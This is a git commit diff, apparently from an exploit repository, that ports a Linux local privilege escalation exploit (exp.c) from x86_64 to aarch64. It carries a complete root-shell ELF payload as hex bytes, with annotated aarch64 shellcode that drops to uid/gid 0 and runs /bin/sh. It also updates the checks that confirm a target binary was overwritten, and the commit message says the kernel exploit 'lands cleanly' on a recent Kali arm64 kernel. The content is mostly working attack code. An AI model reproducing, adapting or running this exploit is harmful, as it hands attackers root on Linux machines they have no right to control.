Port exploit to aarch64

- Replace x86_64 shellcode/ELF in shell_elf[] with aarch64 equivalent
  (e_machine=0xb7, MOVZ/SVC instructions, syscall numbers 144/146/159/221).
- Update verify_byte() check at post-write to look for the aarch64 MOVZ
  opcode signature (0x80 0xd2) instead of the x86 (0x31 0xff).
- Update su_marker[] to match the first 8 bytes of the aarch64 shellcode.

Tested on Kali aarch64 6.19.11+kali-arm64; xfrm-ESP leg lands cleanly.
rxrpc leg is x86-only (oopses on aarch64 in flush_dcache_page).
This commit is contained in:
Zi1chs 2026-05-12 11:20:23 +07:00
parent aab16fcada
commit 557f760d6b

67
exp.c
View file

@ -40,50 +40,42 @@
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
/* /*
* 192-byte minimal x86_64 root-shell ELF. * 192-byte minimal aarch64 root-shell ELF.
* _start at 0x400078: * _start at 0x400078:
* setgid(0); setuid(0); setgroups(0, NULL); * setgid(0); setuid(0); setgroups(0, NULL);
* execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * execve("/bin/sh", NULL, NULL);
* PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
* e_machine = 0xb7 (EM_AARCH64).
* *
* Setting TERM in the new shell's env silences the * Code (from offset 0x78), little-endian 4-byte aarch64 instructions:
* "tput: No value for $TERM" / "test: : integer expected" noise * d2800000 movz x0, #0
* /etc/bash.bashrc and friends emit when TERM is unset. * d2801208 movz x8, #144 ; setgid
* * d4000001 svc #0
* Code (from offset 0x78): * d2801248 movz x8, #146 ; setuid
* 31 ff xor edi, edi * d4000001 svc #0
* 31 f6 xor esi, esi * d2800001 movz x1, #0
* 31 c0 xor eax, eax * d28013e8 movz x8, #159 ; setgroups
* b0 6a mov al, 0x6a ; setgid * d4000001 svc #0
* 0f 05 syscall * 100000a0 adr x0, sh ; x0 -> "/bin/sh"
* b0 69 mov al, 0x69 ; setuid * d2800001 movz x1, #0 ; argv = NULL
* 0f 05 syscall * d2800002 movz x2, #0 ; envp = NULL
* b0 74 mov al, 0x74 ; setgroups * d2801ba8 movz x8, #221 ; execve
* 0f 05 syscall * d4000001 svc #0
* 6a 00 push 0 ; envp[1] = NULL * "/bin/sh\0" at offset 0xac..0xb3
* 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
* 50 push rax ; envp[0]
* 48 89 e2 mov rdx, rsp ; rdx = envp
* 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
* 31 f6 xor esi, esi ; rsi = NULL (argv)
* 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
* 0f 05 syscall ; execve("/bin/sh",NULL,envp)
* "TERM=xterm\0" (offset 0xa5..0xaf)
* "/bin/sh\0" (offset 0xb0..0xb7)
*/ */
static const uint8_t shell_elf[PAYLOAD_LEN] = { static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0xb7,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xd2,0x08,0x12,0x80,0xd2,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x01,0x00,0x00,0xd4,0x48,0x12,0x80,0xd2,0x01,0x00,0x00,0xd4,0x01,0x00,0x80,0xd2,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0xe8,0x13,0x80,0xd2,0x01,0x00,0x00,0xd4,0xa0,0x00,0x00,0x10,0x01,0x00,0x80,0xd2,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x02,0x00,0x80,0xd2,0xa8,0x1b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x2f,0x62,0x69,0x6e,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
}; };
extern int g_su_verbose; extern int g_su_verbose;
@ -345,11 +337,10 @@ int su_lpe_main(int argc, char **argv)
return 1; return 1;
} }
/* Sanity check: bytes at the embedded ELF entry (file offset 0x78 /* Sanity check: bytes at offsets 0x7a/0x7b should be 0x80 0xd2
* after our overwrite) should be 0x31 0xff (xor edi, edi first * the MOVZ opcode high bytes of our aarch64 shellcode at 0x78. */
* instruction of the new shellcode). */ if (verify_byte(TARGET_PATH, ENTRY_OFFSET + 2, 0x80) != 0 ||
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 3, 0xd2) != 0) {
verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
SLOG("post-write verify failed (target unchanged)"); SLOG("post-write verify failed (target unchanged)");
return 1; return 1;
} }
@ -1690,7 +1681,7 @@ extern int rxrpc_lpe_main(int argc, char **argv);
* magic there both before and after we patch.) * magic there both before and after we patch.)
*/ */
static const uint8_t su_marker[8] = { static const uint8_t su_marker[8] = {
0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, 0x00, 0x00, 0x80, 0xd2, 0x08, 0x12, 0x80, 0xd2,
}; };
static int su_already_patched(void) static int su_already_patched(void)